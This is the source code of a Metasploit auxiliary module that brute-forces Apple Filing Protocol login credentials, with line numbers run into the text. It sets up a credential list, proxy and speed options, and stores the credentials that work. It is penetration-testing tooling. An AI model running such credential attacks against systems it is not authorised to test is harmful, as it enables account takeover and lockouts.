Path: blob/master/modules/auxiliary/scanner/afp/afp_login.rb
28052 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45require 'openssl'6require 'metasploit/framework/credential_collection'7require 'metasploit/framework/login_scanner/afp'89class MetasploitModule < Msf::Auxiliary10include Msf::Auxiliary::Report11include Msf::Auxiliary::Scanner12include Msf::Auxiliary::AuthBrute13include Msf::Exploit::Remote::AFP1415def initialize(info = {})16super(17update_info(18info,19'Name' => 'Apple Filing Protocol Login Utility',20'Description' => %q{21This module attempts to bruteforce authentication credentials for AFP.22},23'References' => [24[ 'URL', 'https://web.archive.org/web/20130309051753/https://developer.apple.com/library/mac/#documentation/Networking/Reference/AFP_Reference/Reference/reference.html' ],25[ 'URL', 'https://developer.apple.com/library/mac/documentation/networking/conceptual/afp/AFPSecurity/AFPSecurity.html' ]2627],28'Author' => [ 'Gregory Man <man.gregory[at]gmail.com>' ],29'License' => MSF_LICENSE,30'Notes' => {31'Stability' => [CRASH_SAFE],32'SideEffects' => [IOC_IN_LOGS, ACCOUNT_LOCKOUTS],33'Reliability' => []34}35)36)3738register_options(39[40Opt::Proxies,41OptInt.new('LoginTimeOut', [ true, 'Timeout on login', 23 ]),42OptBool.new('RECORD_GUEST', [ false, 'Record guest login to the database', false]),43OptBool.new('CHECK_GUEST', [ false, 'Check for guest login', true])44]45)46end4748def run_host(ip)49print_status("Scanning IP: #{ip}")5051cred_collection = build_credential_collection(52username: datastore['USERNAME'],53password: datastore['PASSWORD']54)5556scanner = Metasploit::Framework::LoginScanner::AFP.new(57configure_login_scanner(58host: ip,59port: rport,60proxies: datastore['PROXIES'],61cred_details: cred_collection,62stop_on_success: datastore['STOP_ON_SUCCESS'],63bruteforce_speed: datastore['BRUTEFORCE_SPEED'],64connection_timeout: 30,65max_send_size: datastore['TCP::max_send_size'],66send_delay: datastore['TCP::send_delay'],67framework: framework,68framework_module: self,69ssl: datastore['SSL'],70ssl_version: datastore['SSLVersion'],71ssl_verify_mode: datastore['SSLVerifyMode'],72ssl_cipher: datastore['SSLCipher'],73local_port: datastore['CPORT'],74local_host: datastore['CHOST']75)76)7778scanner.scan! do |result|79credential_data = result.to_h80credential_data.merge!(81module_fullname: fullname,82workspace_id: myworkspace_id83)84if result.success?85credential_core = create_credential(credential_data)86credential_data[:core] = credential_core87create_credential_login(credential_data)8889print_good "#{ip}:#{rport} - Login Successful: #{result.credential}"90else91invalidate_login(credential_data)92vprint_error "#{ip}:#{rport} - LOGIN FAILED: #{result.credential} (#{result.status}: #{result.proof})"93end94end95end96end979899